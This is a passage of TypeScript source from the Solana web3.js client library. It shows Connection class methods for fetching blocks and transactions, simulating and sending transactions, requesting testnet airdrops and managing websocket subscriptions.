getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | ParsedBlockResponse\n | ParsedAccountsModeBlockResponse\n | ParsedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetParsedAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetParsedNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetParsedBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(e as JSONRPCError, 'failed to get block');\n }\n }\n\n /*\n * Returns the current block height of the node\n */\n getBlockHeight = (() => {\n const requestPromises: {[hash: string]: Promise<number>} = {};\n return async (\n commitmentOrConfig?: Commitment | GetBlockHeightConfig,\n ): Promise<number> => {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const requestHash = fastStableStringify(args);\n requestPromises[requestHash] =\n requestPromises[requestHash] ??\n (async () => {\n try {\n const unsafeRes = await this._rpcRequest('getBlockHeight', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block height information',\n );\n }\n return res.result;\n } finally {\n delete requestPromises[requestHash];\n }\n })();\n return await requestPromises[requestHash];\n };\n })();\n\n /*\n * Returns recent block production information from the current or previous epoch\n */\n async getBlockProduction(\n configOrCommitment?: GetBlockProductionConfig | Commitment,\n ): Promise<RpcResponseAndContext<BlockProduction>> {\n let extra: Omit<GetBlockProductionConfig, 'commitment'> | undefined;\n let commitment: Commitment | undefined;\n\n if (typeof configOrCommitment === 'string') {\n commitment = configOrCommitment;\n } else if (configOrCommitment) {\n const {commitment: c, ...rest} = configOrCommitment;\n commitment = c;\n extra = rest;\n }\n\n const args = this._buildArgs([], commitment, 'base64', extra);\n const unsafeRes = await this._rpcRequest('getBlockProduction', args);\n const res = create(unsafeRes, BlockProductionResponseStruct);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block production information',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n *\n * @deprecated Instead, call `getTransaction` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransaction(\n signature: string,\n rawConfig?: GetTransactionConfig,\n ): Promise<TransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig?: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized transaction\n */\n async getParsedTransaction(\n signature: TransactionSignature,\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<ParsedTransactionWithMeta | null> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n */\n async getParsedTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<(ParsedTransactionWithMeta | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link TransactionResponse}.\n *\n * @deprecated Instead, call `getTransactions` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetTransactionConfig | Finality,\n ): Promise<(TransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n });\n\n return res;\n }\n\n /**\n * Fetch a list of Transactions and transaction statuses from the cluster\n * for a confirmed block.\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlock} instead.\n */\n async getConfirmedBlock(\n slot: number,\n commitment?: Finality,\n ): Promise<ConfirmedBlock> {\n const args = this._buildArgsAtLeastConfirmed([slot], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetConfirmedBlockRpcResult);\n\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n\n const block = {\n ...result,\n transactions: result.transactions.map(({transaction, meta}) => {\n const message = new Message(transaction.message);\n return {\n meta,\n transaction: {\n ...transaction,\n message,\n },\n };\n }),\n };\n\n return {\n ...block,\n transactions: block.transactions.map(({transaction, meta}) => {\n return {\n meta,\n transaction: Transaction.populate(\n transaction.message,\n transaction.signatures,\n ),\n };\n }),\n };\n }\n\n /**\n * Fetch confirmed blocks between two slots\n */\n async getBlocks(\n startSlot: number,\n endSlot?: number,\n commitment?: Finality,\n ): Promise<Array<number>> {\n const args = this._buildArgsAtLeastConfirmed(\n endSlot !== undefined ? [startSlot, endSlot] : [startSlot],\n commitment,\n );\n const unsafeRes = await this._rpcRequest('getBlocks', args);\n const res = create(unsafeRes, jsonRpcResult(array(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get blocks');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a block, excluding rewards\n */\n async getBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a confirmed block, excluding rewards\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlockSignatures} instead.\n */\n async getConfirmedBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getTransaction} instead.\n */\n async getConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed([signature], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n const message = new Message(result.transaction.message);\n const signatures = result.transaction.signatures;\n return {\n ...result,\n transaction: Transaction.populate(message, signatures),\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransaction} instead.\n */\n async getParsedConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ParsedConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transaction',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransactions} instead.\n */\n async getParsedConfirmedTransactions(\n signatures: TransactionSignature[],\n commitment?: Finality,\n ): Promise<(ParsedConfirmedTransaction | null)[]> {\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n return {\n methodName: 'getConfirmedTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transactions',\n );\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch a list of all the confirmed signatures for transactions involving an address\n * within a specified slot range. Max range allowed is 10,000 slots.\n *\n * @deprecated Deprecated since RPC v1.3. Please use {@link getConfirmedSignaturesForAddress2} instead.\n *\n * @param address queried address\n * @param startSlot start slot, inclusive\n * @param endSlot end slot, inclusive\n */\n async getConfirmedSignaturesForAddress(\n address: PublicKey,\n startSlot: number,\n endSlot: number,\n ): Promise<Array<TransactionSignature>> {\n let options: any = {};\n\n let firstAvailableBlock = await this.getFirstAvailableBlock();\n while (!('until' in options)) {\n startSlot--;\n if (startSlot <= 0 || startSlot < firstAvailableBlock) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(\n startSlot,\n 'finalized',\n );\n if (block.signatures.length > 0) {\n options.until =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if (err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n let highestConfirmedRoot = await this.getSlot('finalized');\n while (!('before' in options)) {\n endSlot++;\n if (endSlot > highestConfirmedRoot) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(endSlot);\n if (block.signatures.length > 0) {\n options.before =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if (err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n const confirmedSignatureInfo = await this.getConfirmedSignaturesForAddress2(\n address,\n options,\n );\n return confirmedSignatureInfo.map(info => info.signature);\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getSignaturesForAddress} instead.\n */\n async getConfirmedSignaturesForAddress2(\n address: PublicKey,\n options?: ConfirmedSignaturesForAddress2Options,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest(\n 'getConfirmedSignaturesForAddress2',\n args,\n );\n const res = create(unsafeRes, GetConfirmedSignaturesForAddress2RpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed signatures for address',\n );\n }\n return res.result;\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n *\n * @param address queried address\n * @param options\n */\n async getSignaturesForAddress(\n address: PublicKey,\n options?: SignaturesForAddressOptions,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest('getSignaturesForAddress', args);\n const res = create(unsafeRes, GetSignaturesForAddressRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get signatures for address',\n );\n }\n return res.result;\n }\n\n async getAddressLookupTable(\n accountKey: PublicKey,\n config?: GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AddressLookupTableAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n accountKey,\n config,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = new AddressLookupTableAccount({\n key: accountKey,\n state: AddressLookupTableAccount.deserialize(accountInfo.data),\n });\n }\n\n return {\n context,\n value,\n };\n }\n\n /**\n * Fetch the contents of a Nonce account from the cluster, return with context\n */\n async getNonceAndContext(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceAndContextConfig,\n ): Promise<RpcResponseAndContext<NonceAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n nonceAccount,\n commitmentOrConfig,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = NonceAccount.fromAccountData(accountInfo.data);\n }\n\n return {\n context,\n value,\n };\n }\n\n /**\n * Fetch the contents of a Nonce account from the cluster\n */\n async getNonce(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceConfig,\n ): Promise<NonceAccount | null> {\n return await this.getNonceAndContext(nonceAccount, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get nonce for account ' +\n nonceAccount.toBase58() +\n ': ' +\n e,\n );\n });\n }\n\n /**\n * Request an allocation of lamports to the specified address\n *\n * ```typescript\n * import { Connection, PublicKey, LAMPORTS_PER_SOL } from \"@solana/web3.js\";\n *\n * (async () => {\n * const connection = new Connection(\"https://api.testnet.solana.com\", \"confirmed\");\n * const myAddress = new PublicKey(\"2nr1bHFT86W9tGnyvmYW4vcHKsQB3sVQfnddasz4kExM\");\n * const signature = await connection.requestAirdrop(myAddress, LAMPORTS_PER_SOL);\n * await connection.confirmTransaction(signature);\n * })();\n * ```\n */\n async requestAirdrop(\n to: PublicKey,\n lamports: number,\n ): Promise<TransactionSignature> {\n const unsafeRes = await this._rpcRequest('requestAirdrop', [\n to.toBase58(),\n lamports,\n ]);\n const res = create(unsafeRes, RequestAirdropRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `airdrop to ${to.toBase58()} failed`,\n );\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n async _blockhashWithExpiryBlockHeight(\n disableCache: boolean,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n if (!disableCache) {\n // Wait for polling to finish\n while (this._pollingBlockhash) {\n await sleep(100);\n }\n const timeSinceFetch = Date.now() - this._blockhashInfo.lastFetch;\n const expired = timeSinceFetch >= BLOCKHASH_CACHE_TIMEOUT_MS;\n if (this._blockhashInfo.latestBlockhash !== null && !expired) {\n return this._blockhashInfo.latestBlockhash;\n }\n }\n\n return await this._pollNewBlockhash();\n }\n\n /**\n * @internal\n */\n async _pollNewBlockhash(): Promise<BlockhashWithExpiryBlockHeight> {\n this._pollingBlockhash = true;\n try {\n const startTime = Date.now();\n const cachedLatestBlockhash = this._blockhashInfo.latestBlockhash;\n const cachedBlockhash = cachedLatestBlockhash\n ? cachedLatestBlockhash.blockhash\n : null;\n for (let i = 0; i < 50; i++) {\n const latestBlockhash = await this.getLatestBlockhash('finalized');\n\n if (cachedBlockhash !== latestBlockhash.blockhash) {\n this._blockhashInfo = {\n latestBlockhash,\n lastFetch: Date.now(),\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n return latestBlockhash;\n }\n\n // Sleep for approximately half a slot\n await sleep(MS_PER_SLOT / 2);\n }\n\n throw new Error(\n `Unable to obtain a new blockhash after ${Date.now() - startTime}ms`,\n );\n } finally {\n this._pollingBlockhash = false;\n }\n }\n\n /**\n * get the stake minimum delegation\n */\n async getStakeMinimumDelegation(\n config?: GetStakeMinimumDelegationConfig,\n ): Promise<RpcResponseAndContext<number>> {\n const {commitment, config: configArg} = extractCommitmentFromConfig(config);\n const args = this._buildArgs([], commitment, 'base64', configArg);\n const unsafeRes = await this._rpcRequest('getStakeMinimumDelegation', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get stake minimum delegation`,\n );\n }\n return res.result;\n }\n\n /**\n * Simulate a transaction\n *\n * @deprecated Instead, call {@link simulateTransaction} with {@link\n * VersionedTransaction} and {@link SimulateTransactionConfig} parameters\n */\n simulateTransaction(\n transactionOrMessage: Transaction | Message,\n signers?: Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n simulateTransaction(\n transaction: VersionedTransaction,\n config?: SimulateTransactionConfig,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async simulateTransaction(\n transactionOrMessage: VersionedTransaction | Transaction | Message,\n configOrSigners?: SimulateTransactionConfig | Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>> {\n if ('message' in transactionOrMessage) {\n const versionedTx = transactionOrMessage;\n const wireTransaction = versionedTx.serialize();\n const encodedTransaction =\n Buffer.from(wireTransaction).toString('base64');\n if (Array.isArray(configOrSigners) || includeAccounts !== undefined) {\n throw new Error('Invalid arguments');\n }\n\n const config: any = configOrSigners || {};\n config.encoding = 'base64';\n if (!('commitment' in config)) {\n config.commitment = this.commitment;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n throw new Error('failed to simulate transaction: ' + res.error.message);\n }\n return res.result;\n }\n\n let transaction;\n if (transactionOrMessage instanceof Transaction) {\n let originalTx: Transaction = transactionOrMessage;\n transaction = new Transaction();\n transaction.feePayer = originalTx.feePayer;\n transaction.instructions = transactionOrMessage.instructions;\n transaction.nonceInfo = originalTx.nonceInfo;\n transaction.signatures = originalTx.signatures;\n } else {\n transaction = Transaction.populate(transactionOrMessage);\n // HACK: this function relies on mutating the populated transaction\n transaction._message = transaction._json = undefined;\n }\n\n if (configOrSigners !== undefined && !Array.isArray(configOrSigners)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = configOrSigners;\n if (transaction.nonceInfo && signers) {\n transaction.sign(...signers);\n } else {\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n\n if (!signers) break;\n\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (\n !this._blockhashInfo.simulatedSignatures.includes(signature) &&\n !this._blockhashInfo.transactionSignatures.includes(signature)\n ) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.simulatedSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const message = transaction._compile();\n const signData = message.serialize();\n const wireTransaction = transaction._serialize(signData);\n const encodedTransaction = wireTransaction.toString('base64');\n const config: any = {\n encoding: 'base64',\n commitment: this.commitment,\n };\n\n if (includeAccounts) {\n const addresses = (\n Array.isArray(includeAccounts)\n ? includeAccounts\n : message.nonProgramIds()\n ).map(key => key.toBase58());\n\n config['accounts'] = {\n encoding: 'base64',\n addresses,\n };\n }\n\n if (signers) {\n config.sigVerify = true;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n let logs;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n if (logs && Array.isArray(logs)) {\n const traceIndent = '\\n ';\n const logTrace = traceIndent + logs.join(traceIndent);\n console.error(res.error.message, logTrace);\n }\n }\n\n throw new SendTransactionError({\n action: 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * Sign and send a transaction\n *\n * @deprecated Instead, call {@link sendTransaction} with a {@link\n * VersionedTransaction}\n */\n sendTransaction(\n transaction: Transaction,\n signers: Array<Signer>,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Send a signed transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n sendTransaction(\n transaction: VersionedTransaction,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Sign and send a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async sendTransaction(\n transaction: VersionedTransaction | Transaction,\n signersOrOptions?: Array<Signer> | SendOptions,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n if ('version' in transaction) {\n if (signersOrOptions && Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, signersOrOptions);\n }\n\n if (signersOrOptions === undefined || !Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = signersOrOptions;\n if (transaction.nonceInfo) {\n transaction.sign(...signers);\n } else {\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (!this._blockhashInfo.transactionSignatures.includes(signature)) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.transactionSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, options);\n }\n\n /**\n * Send a transaction that has already been signed and serialized into the\n * wire format\n */\n async sendRawTransaction(\n rawTransaction: Buffer | Uint8Array | Array<number>,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const encodedTransaction = toBuffer(rawTransaction).toString('base64');\n const result = await this.sendEncodedTransaction(\n encodedTransaction,\n options,\n );\n return result;\n }\n\n /**\n * Send a transaction that has already been signed, serialized into the\n * wire format, and encoded as a base64 string\n */\n async sendEncodedTransaction(\n encodedTransaction: string,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const config: any = {encoding: 'base64'};\n const skipPreflight = options && options.skipPreflight;\n const preflightCommitment =\n skipPreflight === true\n ? 'processed' // FIXME Remove when https://github.com/anza-xyz/agave/pull/483 is deployed.\n : (options && options.preflightCommitment) || this.commitment;\n\n if (options && options.maxRetries != null) {\n config.maxRetries = options.maxRetries;\n }\n if (options && options.minContextSlot != null) {\n config.minContextSlot = options.minContextSlot;\n }\n if (skipPreflight) {\n config.skipPreflight = skipPreflight;\n }\n if (preflightCommitment) {\n config.preflightCommitment = preflightCommitment;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('sendTransaction', args);\n const res = create(unsafeRes, SendTransactionRpcResult);\n if ('error' in res) {\n let logs = undefined;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n }\n\n throw new SendTransactionError({\n action: skipPreflight ? 'send' : 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n _wsOnOpen() {\n this._rpcWebSocketConnected = true;\n this._rpcWebSocketHeartbeat = setInterval(() => {\n // Ping server every 5s to prevent idle timeouts\n (async () => {\n try {\n await this._rpcWebSocket.notify('ping');\n // eslint-disable-next-line no-empty\n } catch {}\n })();\n }, 5000);\n this._updateSubscriptions();\n }\n\n /**\n * @internal\n */\n _wsOnError(err: Error) {\n this._rpcWebSocketConnected = false;\n console.error('ws error:', err.message);\n }\n\n /**\n * @internal\n */\n _wsOnClose(code: number) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketGeneration =\n (this._rpcWebSocketGeneration + 1) % Number.MAX_SAFE_INTEGER;\n if (this._rpcWebSocketIdleTimeout) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n }\n if (this._rpcWebSocketHeartbeat) {\n clearInterval(this._rpcWebSocketHeartbeat);\n this._rpcWebSocketHeartbeat = null;\n }\n\n if (code === 1000) {\n // explicit close, check if any subscriptions have been made since close\n this._updateSubscriptions();\n return;\n }\n\n // implicit close, prepare subscriptions for auto-reconnect\n this._subscriptionCallbacksByServerSubscriptionId = {};\n Object.entries(\n this._subscriptionsByHash as Record<SubscriptionConfigHash, Subscription>,\n ).forEach(([hash, subscription]) => {\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n });\n }\n\n /**\n * @internal\n */\n private _setSubscription(\n hash: SubscriptionConfigHash,\n nextSubscription: Subscription,\n ) {\n const prevState = this._subscriptionsByHash[hash]?.state;\n this._subscriptionsByHash[hash] = nextSubscription;\n if (prevState !== nextSubscription.state) {\n const stateChangeCallbacks =\n this._subscriptionStateChangeCallbacksByHash[hash];\n if (stateChangeCallbacks) {\n stateChangeCallbacks.forEach(cb => {\n try {\n cb(nextSubscription.state);\n // eslint-disable-next-line no-empty\n } catch {}\n });\n }\n }\n }\n\n /**\n * @internal\n */\n private _onSubscriptionStateChange(\n clientSubscriptionId: ClientSubscriptionId,\n callback: SubscriptionStateChangeCallback,\n ): SubscriptionStateChangeDisposeFn {\n const hash =\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n if (hash == null) {\n return () => 